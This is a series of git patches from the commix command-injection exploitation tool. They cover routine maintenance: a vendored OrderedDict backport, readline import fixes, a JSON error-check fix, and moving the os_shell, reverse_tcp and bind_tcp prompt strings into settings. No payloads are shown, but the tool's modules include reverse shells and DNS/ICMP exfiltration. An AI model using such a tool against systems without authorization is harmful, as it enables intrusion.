b/src/thirdparty/odict/__init__.py new file mode 100644 index 0000000000..8571776ae4 --- /dev/null +++ b/src/thirdparty/odict/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +import sys + +if sys.version_info[:2] >= (2, 7): + from collections import OrderedDict +else: + from ordereddict import OrderedDict diff --git a/src/thirdparty/odict/ordereddict.py b/src/thirdparty/odict/ordereddict.py new file mode 100644 index 0000000000..1cdd6f46ed --- /dev/null +++ b/src/thirdparty/odict/ordereddict.py @@ -0,0 +1,133 @@ +# Copyright (c) 2009 Raymond Hettinger +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation files +# (the "Software"), to deal in the Software without restriction, +# including without limitation the rights to use, copy, modify, merge, +# publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +# OTHER DEALINGS IN THE SOFTWARE. + +try: + from UserDict import DictMixin +except ImportError: + try: + from collections.abc import MutableMapping as DictMixin + except ImportError: + from collections import MutableMapping as DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.__map = {} # key --> [key, prev, next] + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = next(reversed(self)) + else: + key = next(iter(self)) + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + if len(self) != len(other): + return False + for p, q in zip(self.items(), other.items()): + if p != q: + return False + return True + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py index 89b2188fd6..bba719bf42 100644 --- a/src/thirdparty/six/__init__.py +++ b/src/thirdparty/six/__init__.py @@ -253,6 +253,7 @@ class _MovedItems(_LazyModule): MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), MovedModule("copyreg", "copy_reg"), diff --git a/src/utils/settings.py b/src/utils/settings.py index 8494bf0653..4606414bfd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From d8dc47104a88224e8f6d96b13be7e3849cc9f898 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jan 2022 11:54:09 +0200 Subject: [PATCH 0043/1023] Update regarding https://github.com/commixproject/commix/commit/8325ae132f871b36f6bdab60b1c33e5ffd01a0c6 --- src/thirdparty/flatten_json/flatten_json.py | 2 +- src/thirdparty/odict/__init__.py | 5 +- src/thirdparty/odict/ordereddict.py | 133 -------------------- src/utils/settings.py | 2 +- 4 files changed, 5 insertions(+), 137 deletions(-) delete mode 100644 src/thirdparty/odict/ordereddict.py diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index a3009ed76e..369450bee5 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -9,7 +9,7 @@ """ from src.utils import settings from src.thirdparty.odict import OrderedDict -#from collections import Iterable +from src.thirdparty.six.moves import collections_abc as _collections def check_if_numbers_are_consecutive(list_): """ diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py index 8571776ae4..a118a02dd2 100644 --- a/src/thirdparty/odict/__init__.py +++ b/src/thirdparty/odict/__init__.py @@ -3,6 +3,7 @@ import sys if sys.version_info[:2] >= (2, 7): - from collections import OrderedDict + from collections import OrderedDict else: - from ordereddict import OrderedDict + from src.thirdparty.six.moves import collections_abc as _collections + from _collections import OrderedDict diff --git a/src/thirdparty/odict/ordereddict.py b/src/thirdparty/odict/ordereddict.py deleted file mode 100644 index 1cdd6f46ed..0000000000 --- a/src/thirdparty/odict/ordereddict.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright (c) 2009 Raymond Hettinger -# -# Permission is hereby granted, free of charge, to any person -# obtaining a copy of this software and associated documentation files -# (the "Software"), to deal in the Software without restriction, -# including without limitation the rights to use, copy, modify, merge, -# publish, distribute, sublicense, and/or sell copies of the Software, -# and to permit persons to whom the Software is furnished to do so, -# subject to the following conditions: -# -# The above copyright notice and this permission notice shall be -# included in all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -# OTHER DEALINGS IN THE SOFTWARE. - -try: - from UserDict import DictMixin -except ImportError: - try: - from collections.abc import MutableMapping as DictMixin - except ImportError: - from collections import MutableMapping as DictMixin - -class OrderedDict(dict, DictMixin): - - def __init__(self, *args, **kwds): - if len(args) > 1: - raise TypeError('expected at most 1 arguments, got %d' % len(args)) - try: - self.__end - except AttributeError: - self.clear() - self.update(*args, **kwds) - - def clear(self): - self.__end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.__map = {} # key --> [key, prev, next] - dict.clear(self) - - def __setitem__(self, key, value): - if key not in self: - end = self.__end - curr = end[1] - curr[2] = end[1] = self.__map[key] = [key, curr, end] - dict.__setitem__(self, key, value) - - def __delitem__(self, key): - dict.__delitem__(self, key) - key, prev, next = self.__map.pop(key) - prev[2] = next - next[1] = prev - - def __iter__(self): - end = self.__end - curr = end[2] - while curr is not end: - yield curr[0] - curr = curr[2] - - def __reversed__(self): - end = self.__end - curr = end[1] - while curr is not end: - yield curr[0] - curr = curr[1] - - def popitem(self, last=True): - if not self: - raise KeyError('dictionary is empty') - if last: - key = next(reversed(self)) - else: - key = next(iter(self)) - value = self.pop(key) - return key, value - - def __reduce__(self): - items = [[k, self[k]] for k in self] - tmp = self.__map, self.__end - del self.__map, self.__end - inst_dict = vars(self).copy() - self.__map, self.__end = tmp - if inst_dict: - return (self.__class__, (items,), inst_dict) - return self.__class__, (items,) - - def keys(self): - return list(self) - - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self.items())) - - def copy(self): - return self.__class__(self) - - @classmethod - def fromkeys(cls, iterable, value=None): - d = cls() - for key in iterable: - d[key] = value - return d - - def __eq__(self, other): - if isinstance(other, OrderedDict): - if len(self) != len(other): - return False - for p, q in zip(self.items(), other.items()): - if p != q: - return False - return True - return dict.__eq__(self, other) - - def __ne__(self, other): - return not self == other diff --git a/src/utils/settings.py b/src/utils/settings.py index 4606414bfd..633c888bd3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From b3166363dc9dfca21e69723afa45d15144e19de0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 9 Jan 2022 09:11:21 +0200 Subject: [PATCH 0044/1023] Minor bug-fix regarding parsing JSON objects. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 6 ++++-- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 65b2686aa5..02bdfbd41a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Minor bug-fix regarding parsing JSON objects. * Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response. * Added: Support for checking for not declared cookie(s). * Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7d2c4721d5..1123cf5820 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1428,9 +1428,11 @@ def is_JSON_check(parameter): re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter): return True except ValueError as err_msg: + _ = False + if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")): + _ = True if not "No JSON object could be decoded" in str(err_msg) and \ - not "Expecting value" in str(err_msg) and \ - not "Expecting , delimiter" in str(err_msg): + not _: err_msg = "JSON " + str(err_msg) + ". " print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 633c888bd3..68997b2fcf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 49de76023728b023b355d70f75e3482081cf5ff4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Jan 2022 09:18:29 +0200 Subject: [PATCH 0045/1023] Minor update --- src/core/injections/controller/checks.py | 3 +-- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1123cf5820..656097938c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -51,11 +51,10 @@ import gnureadline as readline except ImportError: try: - import gnureadline as readline + import readline except ImportError: settings.READLINE_ERROR = True - """ check for not declared cookie(s) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 68997b2fcf..a836f1bedd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From a91f105fac85fc34d38a21a22eb46c12831cf2e6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 11 Jan 2022 18:14:54 +0200 Subject: [PATCH 0046/1023] Minor update --- .../injections/blind/techniques/time_based/tb_handler.py | 3 ++- .../results_based/techniques/classic/cb_handler.py | 3 ++- .../results_based/techniques/eval_based/eb_handler.py | 3 ++- .../injections/semiblind/techniques/file_based/fb_handler.py | 3 ++- .../semiblind/techniques/tempfile_based/tfb_handler.py | 3 ++- src/core/modules/dns_exfiltration/dns_exfiltration.py | 3 ++- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 3 ++- src/core/modules/shellshock/shellshock.py | 3 ++- src/core/shells/bind_tcp.py | 4 ++-- src/core/shells/reverse_tcp.py | 3 ++- src/utils/settings.py | 5 ++++- 11 files changed, 24 insertions(+), 12 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index aabbfb621a..91db9fdc07 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -514,7 +514,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 052674bbd2..51c0fd190c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -376,7 +376,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 066daccb06..c0fbb291fe 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -389,7 +389,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b0fa15ad20..0883cad0a0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -609,7 +609,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 6e2321a1bb..18e6efe33a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -563,7 +563,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 9672ead123..17cd1a01d8 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -119,7 +119,8 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 1fe99f9faf..732d1db9a8 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -153,7 +153,8 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index a112c970c1..5406a0a0cc 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -776,7 +776,8 @@ def shellshock_handler(url, http_request_method, filename): try: if not settings.READLINE_ERROR: checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.OS_SHELL) + cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 53141793f3..30b635ecc7 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -520,10 +520,10 @@ def bind_tcp_options(separator): Set up the bind TCP connection """ def configure_bind_tcp(separator): - # Set up rhost for the bind TCP connection while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.BIND_TCP_SHELL) + option = _input() if option.lower() == "bind_tcp": warn_msg = "You are already into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 8944e3569f..1384ce8579 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -735,7 +735,8 @@ def reverse_tcp_options(separator): def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) + sys.stdout.write(settings.REVERSE_TCP_SHELL) + option = _input() if option.lower() == "reverse_tcp": warn_msg = "You are already into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index a836f1bedd..121368ea36 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -62,6 +62,9 @@ class HTTPMETHOD(object): DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ +REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ +BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ # Print error message def print_error_msg(err_msg): @@ -222,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 9d233d283d3916a7efbba914316318e986bb2b96 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Sat, 15 Jan 2022 16:55:09 +0200 Subject: [PATCH 0047/1023] Delete .travis.yml --- .travis.yml | 15 --------------- 1 file changed, 15 deletions(-) delete mode 100755 .travis.yml diff --git a/.travis.yml b/.travis.yml deleted file mode 100755 index 4ae5c8bd1f..0000000000 --- a/.travis.yml +++ /dev/null @@ -1,15 +0,0 @@ -language: python -jobs: - include: - - python: 2.6 - dist: trusty - - python: 2.7 - dist: trusty - - python: 3.3 - dist: trusty - - python: 3.6 - dist: trusty - - python: nightly - dist: bionic -script: - - python -c "import commix" From bc44723603975ec9c80350bb87deb7c22efcf495 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Jan 2022 11:51:24 +0200 Subject: [PATCH 0048/1023] Minor update --- src/core/injections/controller/checks.py | 37 ++++++++++-------------- src/utils/settings.py | 2 +- 2 files changed, 16 insertions(+), 23 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 656097938c..1cbafc53e2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -36,24 +36,18 @@ from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list -if settings.IS_WINDOWS: - try: - import readline - except ImportError: - try: - import pyreadline as readline - except ImportError: - settings.READLINE_ERROR = True -else: - try: - import readline +try: + from readline import * + import readline as readline + if settings.PLATFORM == "mac": if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): import gnureadline as readline - except ImportError: - try: - import readline - except ImportError: - settings.READLINE_ERROR = True +except: + try: + from pyreadline import * + import pyreadline as readline + except: + settings.READLINE_ERROR = True """ check for not declared cookie(s) @@ -90,14 +84,13 @@ def not_declared_cookies(response): """ def tab_autocompleter(): try: - # Tab compliter - readline.set_completer(menu.tab_completer) # MacOSX tab compliter - if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): + if 'libedit' in readline.__doc__: readline.parse_and_bind("bind ^I rl_complete") - # Unix tab compliter else: readline.parse_and_bind("tab: complete") + # Tab compliter + readline.set_completer(menu.tab_completer) except AttributeError: error_msg = "Failed while trying to use platform's readline library." print(settings.print_error_msg(error_msg)) @@ -528,7 +521,7 @@ def no_readline_module(): err_msg += " Download the" if settings.IS_WINDOWS: err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)." - else: + elif settings.PLATFORM == "mac": err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)." print(settings.print_critical_msg(err_msg)) @@ -747,7 +740,7 @@ def third_party_dependencies(): err_msg += "completion and history support features. " print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: + elif settings.PLATFORM == "mac": try: import gnureadline except ImportError: diff --git a/src/utils/settings.py b/src/utils/settings.py index 121368ea36..73691b84fc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 11976cfeb714056890c76555dc8ea73e2d96c36c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Jan 2022 18:31:08 +0200 Subject: [PATCH 0049/1023] Refresh --- COMMITMENT.txt | 0 LICENSE.txt | 0 README.md | 0 doc/AUTHOR | 0 doc/translations/README-gr-GR.md | 0 setup.py | 0 src/__init__.py | 0 src/core/__init__.py | 0 src/core/compat.py | 0 src/core/convert.py | 0 src/core/injections/__init__.py | 0 src/core/injections/blind/__init__.py | 0 src/core/injections/blind/techniques/__init__.py | 0 src/core/injections/blind/techniques/time_based/__init__.py | 0 src/core/injections/controller/__init__.py | 0 src/core/injections/controller/controller.py | 0 src/core/injections/results_based/__init__.py | 0 src/core/injections/results_based/techniques/__init__.py | 0 src/core/injections/results_based/techniques/classic/__init__.py | 0 .../injections/results_based/techniques/eval_based/__init__.py | 0 src/core/injections/semiblind/__init__.py | 0 src/core/injections/semiblind/techniques/__init__.py | 0 src/core/injections/semiblind/techniques/file_based/__init__.py | 0 .../injections/semiblind/techniques/tempfile_based/__init__.py | 0 src/core/main.py | 0 src/core/modules/__init__.py | 0 src/core/modules/dns_exfiltration/__init__.py | 0 src/core/modules/icmp_exfiltration/__init__.py | 0 src/core/modules/modules_handler.py | 0 src/core/modules/shellshock/__init__.py | 0 src/core/requests/__init__.py | 0 src/core/requests/authentication.py | 0 src/core/requests/proxy.py | 0 src/core/requests/tor.py | 0 src/core/shells/__init__.py | 0 src/core/tamper/__init__.py | 0 src/core/tamper/backslashes.py | 0 src/core/tamper/backticks.py | 0 src/core/tamper/base64encode.py | 0 src/core/tamper/caret.py | 0 src/core/tamper/dollaratsigns.py | 0 src/core/tamper/doublequotes.py | 0 src/core/tamper/hexencode.py | 0 src/core/tamper/multiplespaces.py | 0 src/core/tamper/nested.py | 0 src/core/tamper/singlequotes.py | 0 src/core/tamper/slash2env.py | 0 src/core/tamper/sleep2timeout.py | 0 src/core/tamper/sleep2usleep.py | 0 src/core/tamper/space2htab.py | 0 src/core/tamper/space2ifs.py | 0 src/core/tamper/space2plus.py | 0 src/core/tamper/space2vtab.py | 0 src/core/tamper/uninitializedvariable.py | 0 src/core/tamper/xforwardedfor.py | 0 src/core/testing.py | 0 src/thirdparty/__init__.py | 0 src/thirdparty/beautifulsoup/__init__.py | 0 src/thirdparty/beautifulsoup/beautifulsoup.py | 0 src/thirdparty/colorama/__init__.py | 0 src/thirdparty/colorama/ansi.py | 0 src/thirdparty/colorama/ansitowin32.py | 0 src/thirdparty/colorama/initialise.py | 0 src/thirdparty/colorama/win32.py | 0 src/thirdparty/colorama/winterm.py | 0 src/thirdparty/flatten_json/__init__.py | 0 src/thirdparty/flatten_json/flatten_json.py | 0 src/thirdparty/odict/__init__.py | 0 src/thirdparty/six/__init__.py | 0 src/txt/passwords_john.txt | 0 src/txt/shocker-cgi_list.txt | 0 src/txt/usernames.txt | 0 src/utils/__init__.py | 0 src/utils/colors.py | 0 src/utils/common.py | 0 src/utils/crawler.py | 0 src/utils/install.py | 0 src/utils/purge.py | 0 src/utils/requirments.py | 0 src/utils/sgmllib.py | 0 src/utils/simple_http_server.py | 0 src/utils/version.py | 0 82 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 COMMITMENT.txt mode change 100644 => 100755 LICENSE.txt mode change 100644 => 100755 README.md mode change 100644 => 100755 doc/AUTHOR mode change 100644 => 100755 doc/translations/README-gr-GR.md mode change 100644 => 100755 setup.py mode change 100644 => 100755 src/__init__.py mode change 100644 => 100755 